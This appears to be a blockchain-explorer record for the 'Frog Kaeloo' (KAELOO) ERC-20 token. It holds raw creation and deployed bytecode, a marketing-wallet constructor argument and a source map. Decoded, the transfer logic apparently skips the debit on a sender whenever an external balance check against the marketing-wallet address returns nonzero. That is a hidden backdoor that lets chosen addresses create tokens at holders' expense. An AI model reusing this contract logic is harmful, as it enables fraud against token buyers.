50505050565b6000601f19601f8301169050919050565b60006118fa82611898565b61190481856118a3565b93506119148185602086016118b4565b61191d816118de565b840191505092915050565b6000602082019050818103600083015261194281846118ef565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061197a8261194f565b9050919050565b61198a8161196f565b811461199557600080fd5b50565b6000813590506119a781611981565b92915050565b6000819050919050565b6119c0816119ad565b81146119cb57600080fd5b50565b6000813590506119dd816119b7565b92915050565b600080604083850312156119fa576119f961194a565b5b6000611a0885828601611998565b9250506020611a19858286016119ce565b9150509250929050565b60008115159050919050565b611a3881611a23565b82525050565b6000602082019050611a536000830184611a2f565b92915050565b6000819050919050565b6000611a7e611a79611a748461194f565b611a59565b61194f565b9050919050565b6000611a9082611a63565b9050919050565b6000611aa282611a85565b9050919050565b611ab281611a97565b82525050565b6000602082019050611acd6000830184611aa9565b92915050565b611adc816119ad565b82525050565b6000602082019050611af76000830184611ad3565b92915050565b600080600060608486031215611b1657611b1561194a565b5b6000611b2486828701611998565b9350506020611b3586828701611998565b9250506040611b46868287016119ce565b9150509250925092565b600060ff82169050919050565b611b6681611b50565b82525050565b6000602082019050611b816000830184611b5d565b92915050565b611b908161196f565b82525050565b6000602082019050611bab6000830184611b87565b92915050565b600060208284031215611bc757611bc661194a565b5b6000611bd584828501611998565b91505092915050565b60008060408385031215611bf557611bf461194a565b5b6000611c0385828601611998565b9250506020611c1485828601611998565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c546020836118a3565b9150611c5f82611c1e565b602082019050919050565b60006020820190508181036000830152611c8381611c47565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ce66026836118a3565b9150611cf182611c8a565b604082019050919050565b60006020820190508181036000830152611d1581611cd9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d786024836118a3565b9150611d8382611d1c565b604082019050919050565b60006020820190508181036000830152611da781611d6b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e0a6022836118a3565b9150611e1582611dae565b604082019050919050565b60006020820190508181036000830152611e3981611dfd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e9c6025836118a3565b9150611ea782611e40565b604082019050919050565b60006020820190508181036000830152611ecb81611e8f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f2e6023836118a3565b9150611f3982611ed2565b604082019050919050565b60006020820190508181036000830152611f5d81611f21565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611fc06029836118a3565b9150611fcb82611f64565b604082019050919050565b60006020820190508181036000830152611fef81611fb3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612030826119ad565b915061203b836119ad565b925082820390508181111561205357612052611ff6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120c681611981565b92915050565b6000602082840312156120e2576120e161194a565b5b60006120f0848285016120b7565b91505092915050565b6000819050919050565b600061211e612119612114846120f9565b611a59565b6119ad565b9050919050565b61212e81612103565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121698161196f565b82525050565b600061217b8383612160565b60208301905092915050565b6000602082019050919050565b600061219f82612134565b6121a9818561213f565b93506121b483612150565b8060005b838110156121e55781516121cc888261216f565b97506121d783612187565b9250506001810190506121b8565b5085935050505092915050565b600060a0820190506122076000830188611ad3565b6122146020830187612125565b81810360408301526122268186612194565b90506122356060830185611b87565b6122426080830184611ad3565b9695505050505050565b6000612257826119ad565b9150612262836119ad565b925082820190508082111561227a57612279611ff6565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006122b6601b836118a3565b91506122c182612280565b602082019050919050565b600060208201905081810360008301526122e5816122a9565b9050919050565b6000815190506122fb816119b7565b92915050565b6000602082840312156123175761231661194a565b5b6000612325848285016122ec565b9150509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220815663bffc007d14541ce9b91f2b3e2c8989e5e16036bd575dd4eda90ac7380764736f6c634300081300330000000000000000000000002d49629e3eaaf1e25f3037e83e517606c78c1b89

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c806349bd5a5e1161008a57806395d89b411161005957806395d89b41146102f3578063a9059cbb1461031e578063dd62ed3e1461035b578063f2fde38b14610398576100f3565b806349bd5a5e1461024957806370a0823114610274578063715018a6146102b15780638da5cb5b146102c8576100f3565b806318160ddd116100c657806318160ddd1461018b57806323b872dd146101b65780632fd689e3146101f3578063313ce5671461021e576100f3565b806306fdde03146100f8578063095ea7b3146101235780631694505e14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611928565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906119e3565b6103fe565b6040516101579190611a3e565b60405180910390f35b34801561016c57600080fd5b5061017561041c565b6040516101829190611ab8565b60405180910390f35b34801561019757600080fd5b506101a0610442565b6040516101ad9190611ae2565b60405180910390f35b3480156101c257600080fd5b506101dd60048036038101906101d89190611afd565b610452565b6040516101ea9190611a3e565b60405180910390f35b3480156101ff57600080fd5b5061020861052b565b6040516102159190611ae2565b60405180910390f35b34801561022a57600080fd5b50610233610531565b6040516102409190611b6c565b60405180910390f35b34801561025557600080fd5b5061025e61053a565b60405161026b9190611b96565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190611bb1565b610560565b6040516102a89190611ae2565b60405180910390f35b3480156102bd57600080fd5b506102c66105a9565b005b3480156102d457600080fd5b506102dd6106fc565b6040516102ea9190611b96565b60405180910390f35b3480156102ff57600080fd5b50610308610725565b6040516103159190611928565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906119e3565b610762565b6040516103529190611a3e565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190611bde565b610780565b60405161038f9190611ae2565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190611bb1565b610807565b005b60606040518060400160405280600b81526020017f46726f67204b61656c6f6f000000000000000000000000000000000000000000815250905090565b600061041261040b6109c8565b84846109d0565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061045f848484610b99565b6105208461046b6109c8565b61051b8560405180606001604052806028815260200161232f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d16109c8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b09092919063ffffffff16565b6109d0565b600190509392505050565b60135481565b60006009905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b16109c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063590611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b41454c4f4f0000000000000000000000000000000000000000000000000000815250905090565b600061077661076f6109c8565b8484610b99565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61080f6109c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361090b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090290611cfc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690611d8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590611e20565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b8c9190611ae2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90611eb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6e90611f44565b60405180910390fd5b60008111610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611fd6565b60405180910390fd5b610cc26106fc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610d305750610d006106fc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610eaf576000610d4030610560565b905060006013548210159050808015610d665750601260159054906101000a900460ff16155b8015610dc05750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610dd85750601260169054906101000a900460ff165b8015610e2e5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e845750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610eac57610e9282611214565b60004790506000811115610eaa57610ea94761148d565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f565750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110095750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110085750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611017576000905061119e565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156110c25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110da57600854600c81905550600954600d819055505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111855750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561119d57600a54600c81905550600b54600d819055505b5b6111aa848484846114f9565b50505050565b60008383111582906111f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ef9190611928565b60405180910390fd5b50600083856112079190612025565b9050809150509392505050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561124c5761124b612059565b5b60405190808252806020026020018201604052801561127a5781602001602082028036833780820191505090505b509050308160008151811061129257611291612088565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611339573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135d91906120cc565b8160018151811061137157611370612088565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113d830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846109d0565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161143c9594939291906121f2565b600060405180830381600087803b15801561145657600080fd5b505af115801561146a573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114f5573d6000803e3d6000fd5b5050565b8061150757611506611526565b5b611512848484611563565b806115205761151f61170a565b5b50505050565b6000600c5414801561153a57506000600d54145b61156157600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080611570858461171e565b915091506115c682600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165b81600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116fb9190611ae2565b60405180910390a35050505050565b600e54600c81905550600f54600d81905550565b600080600061172c856117f1565b6117365783611739565b60005b9050808492509250509250929050565b600061178b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b0565b905092915050565b60008082846117a2919061224c565b9050838110156117e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117de906122cc565b60405180910390fd5b8091505092915050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b815260040161184f9190611b96565b602060405180830381865afa15801561186c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118909190612301565b119050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118d25780820151818401526020810190506118b7565b60008484015250505050565b6000601f19601f8301169050919050565b60006118fa82611898565b61190481856118a3565b93506119148185602086016118b4565b61191d816118de565b840191505092915050565b6000602082019050818103600083015261194281846118ef565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061197a8261194f565b9050919050565b61198a8161196f565b811461199557600080fd5b50565b6000813590506119a781611981565b92915050565b6000819050919050565b6119c0816119ad565b81146119cb57600080fd5b50565b6000813590506119dd816119b7565b92915050565b600080604083850312156119fa576119f961194a565b5b6000611a0885828601611998565b9250506020611a19858286016119ce565b9150509250929050565b60008115159050919050565b611a3881611a23565b82525050565b6000602082019050611a536000830184611a2f565b92915050565b6000819050919050565b6000611a7e611a79611a748461194f565b611a59565b61194f565b9050919050565b6000611a9082611a63565b9050919050565b6000611aa282611a85565b9050919050565b611ab281611a97565b82525050565b6000602082019050611acd6000830184611aa9565b92915050565b611adc816119ad565b82525050565b6000602082019050611af76000830184611ad3565b92915050565b600080600060608486031215611b1657611b1561194a565b5b6000611b2486828701611998565b9350506020611b3586828701611998565b9250506040611b46868287016119ce565b9150509250925092565b600060ff82169050919050565b611b6681611b50565b82525050565b6000602082019050611b816000830184611b5d565b92915050565b611b908161196f565b82525050565b6000602082019050611bab6000830184611b87565b92915050565b600060208284031215611bc757611bc661194a565b5b6000611bd584828501611998565b91505092915050565b60008060408385031215611bf557611bf461194a565b5b6000611c0385828601611998565b9250506020611c1485828601611998565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c546020836118a3565b9150611c5f82611c1e565b602082019050919050565b60006020820190508181036000830152611c8381611c47565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ce66026836118a3565b9150611cf182611c8a565b604082019050919050565b60006020820190508181036000830152611d1581611cd9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d786024836118a3565b9150611d8382611d1c565b604082019050919050565b60006020820190508181036000830152611da781611d6b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e0a6022836118a3565b9150611e1582611dae565b604082019050919050565b60006020820190508181036000830152611e3981611dfd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e9c6025836118a3565b9150611ea782611e40565b604082019050919050565b60006020820190508181036000830152611ecb81611e8f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f2e6023836118a3565b9150611f3982611ed2565b604082019050919050565b60006020820190508181036000830152611f5d81611f21565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611fc06029836118a3565b9150611fcb82611f64565b604082019050919050565b60006020820190508181036000830152611fef81611fb3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612030826119ad565b915061203b836119ad565b925082820390508181111561205357612052611ff6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120c681611981565b92915050565b6000602082840312156120e2576120e161194a565b5b60006120f0848285016120b7565b91505092915050565b6000819050919050565b600061211e612119612114846120f9565b611a59565b6119ad565b9050919050565b61212e81612103565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121698161196f565b82525050565b600061217b8383612160565b60208301905092915050565b6000602082019050919050565b600061219f82612134565b6121a9818561213f565b93506121b483612150565b8060005b838110156121e55781516121cc888261216f565b97506121d783612187565b9250506001810190506121b8565b5085935050505092915050565b600060a0820190506122076000830188611ad3565b6122146020830187612125565b81810360408301526122268186612194565b90506122356060830185611b87565b6122426080830184611ad3565b9695505050505050565b6000612257826119ad565b9150612262836119ad565b925082820190508082111561227a57612279611ff6565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006122b6601b836118a3565b91506122c182612280565b602082019050919050565b600060208201905081810360008301526122e5816122a9565b9050919050565b6000815190506122fb816119b7565b92915050565b6000602082840312156123175761231661194a565b5b6000612325848285016122ec565b9150509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220815663bffc007d14541ce9b91f2b3e2c8989e5e16036bd575dd4eda90ac7380764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000002d49629e3eaaf1e25f3037e83e517606c78c1b89

-----Decoded View---------------
Arg [0] : _MARKETINGWALLET (address): 0x2D49629e3eaaf1E25f3037E83e517606C78C1b89

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000002d49629e3eaaf1e25f3037e83e517606c78c1b89


Deployed Bytecode Sourcemap

4259:9960:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6309:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7221:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5349:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6589:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7423:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5546:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6497:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5397:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6693:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1732:148;;;;;;;;;;;;;:::i;:::-;;1516:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6401:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6820:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7028:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1889:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6309:83;6346:13;6379:5;;;;;;;;;;;;;;;;;6372:12;;6309:83;:::o;7221:193::-;7323:4;7345:39;7354:12;:10;:12::i;:::-;7368:7;7377:6;7345:8;:39::i;:::-;7402:4;7395:11;;7221:193;;;;:::o;5349:41::-;;;;;;;;;;;;;:::o;6589:95::-;6642:7;4814:18;6662:14;;6589:95;:::o;7423:446::-;7555:4;7572:36;7582:6;7590:9;7601:6;7572:9;:36::i;:::-;7619:220;7642:6;7663:12;:10;:12::i;:::-;7690:138;7746:6;7690:138;;;;;;;;;;;;;;;;;:11;:19;7702:6;7690:19;;;;;;;;;;;;;;;:33;7710:12;:10;:12::i;:::-;7690:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7619:8;:220::i;:::-;7857:4;7850:11;;7423:446;;;;;:::o;5546:49::-;;;;:::o;6497:83::-;6538:5;4485:1;6556:16;;6497:83;:::o;5397:28::-;;;;;;;;;;;;;:::o;6693:118::-;6759:7;6786:8;:17;6795:7;6786:17;;;;;;;;;;;;;;;;6779:24;;6693:118;;;:::o;1732:148::-;1654:12;:10;:12::i;:::-;1644:22;;:6;;;;;;;;;;:22;;;1636:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1839:1:::1;1802:40;;1823:6;::::0;::::1;;;;;;;;1802:40;;;;;;;;;;;;1870:1;1853:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1732:148::o:0;1516:79::-;1554:7;1581:6;;;;;;;;;;;1574:13;;1516:79;:::o;6401:87::-;6440:13;6473:7;;;;;;;;;;;;;;;;;6466:14;;6401:87;:::o;6820:199::-;6925:4;6947:42;6957:12;:10;:12::i;:::-;6971:9;6982:6;6947:9;:42::i;:::-;7007:4;7000:11;;6820:199;;;;:::o;7028:184::-;7145:7;7177:11;:18;7189:5;7177:18;;;;;;;;;;;;;;;:27;7196:7;7177:27;;;;;;;;;;;;;;;;7170:34;;7028:184;;;;:::o;1889:244::-;1654:12;:10;:12::i;:::-;1644:22;;:6;;;;;;;;;;:22;;;1636:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1998:1:::1;1978:22;;:8;:22;;::::0;1970:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2088:8;2059:38;;2080:6;::::0;::::1;;;;;;;;2059:38;;;;;;;;;;;;2117:8;2108:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1889:244:::0;:::o;265:98::-;318:7;345:10;338:17;;265:98;:::o;8566:369::-;8710:1;8693:19;;:5;:19;;;8685:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8791:1;8772:21;;:7;:21;;;8764:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8873:6;8843:11;:18;8855:5;8843:18;;;;;;;;;;;;;;;:27;8862:7;8843:27;;;;;;;;;;;;;;;:36;;;;8911:7;8895:32;;8904:5;8895:32;;;8920:6;8895:32;;;;;;:::i;:::-;;;;;;;;8566:369;;;:::o;8944:1617::-;9082:1;9066:18;;:4;:18;;;9058:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9159:1;9145:16;;:2;:16;;;9137:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9229:1;9220:6;:10;9212:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9302:7;:5;:7::i;:::-;9294:15;;:4;:15;;;;:32;;;;;9319:7;:5;:7::i;:::-;9313:13;;:2;:13;;;;9294:32;9290:609;;;9355:28;9386:24;9404:4;9386:9;:24::i;:::-;9355:55;;9425:12;9464:19;;9440:20;:43;;9425:58;;9506:7;:18;;;;;9518:6;;;;;;;;;;;9517:7;9506:18;:43;;;;;9536:13;;;;;;;;;;;9528:21;;:4;:21;;;;9506:43;:58;;;;;9553:11;;;;;;;;;;;9506:58;:87;;;;;9569:18;:24;9588:4;9569:24;;;;;;;;;;;;;;;;;;;;;;;;;9568:25;9506:87;:114;;;;;9598:18;:22;9617:2;9598:22;;;;;;;;;;;;;;;;;;;;;;;;;9597:23;9506:114;9502:386;;;9641:38;9658:20;9641:16;:38::i;:::-;9698:26;9727:21;9698:50;;9792:1;9771:18;:22;9767:106;;;9818:35;9831:21;9818:12;:35::i;:::-;9767:106;9622:266;9502:386;9328:571;;9290:609;9912:12;9927:4;9912:19;;9955:18;:24;9974:4;9955:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;9983:18;:22;10002:2;9983:22;;;;;;;;;;;;;;;;;;;;;;;;;9955:50;9954:102;;;;10019:13;;;;;;;;;;;10011:21;;:4;:21;;;;:44;;;;;10042:13;;;;;;;;;;;10036:19;;:2;:19;;;;10011:44;9954:102;9950:549;;;10083:5;10073:15;;9950:549;;;10145:13;;;;;;;;;;;10137:21;;:4;:21;;;:55;;;;;10176:15;;;;;;;;;;;10162:30;;:2;:30;;;;10137:55;10134:162;;;10225:14;;10213:9;:26;;;;10268:12;;10258:7;:22;;;;10134:162;10330:13;;;;;;;;;;;10324:19;;:2;:19;;;:55;;;;;10363:15;;;;;;;;;;;10347:32;;:4;:32;;;;10324:55;10320:165;;;10412:15;;10400:9;:27;;;;10456:13;;10446:7;:23;;;;10320:165;9950:549;10512:41;10527:4;10533:2;10537:6;10545:7;10512:14;:41::i;:::-;9047:1514;8944:1617;;;:::o;2501:224::-;2621:7;2654:1;2649;:6;;2657:12;2641:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2681:9;2697:1;2693;:5;;;;:::i;:::-;2681:17;;2716:1;2709:8;;;2501:224;;;;;:::o;10570:483::-;5646:4;5637:6;;:13;;;;;;;;;;;;;;;;;;10648:21:::1;10686:1;10672:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10648:40;;10717:4;10699;10704:1;10699:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10743:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10733:4;10738:1;10733:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10776:62;10793:4;10808:15;;;;;;;;;;;10826:11;10776:8;:62::i;:::-;10849:15;;;;;;;;;;;:66;;;10930:11;10956:1;10972:4;10999;11019:15;10849:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10637:416;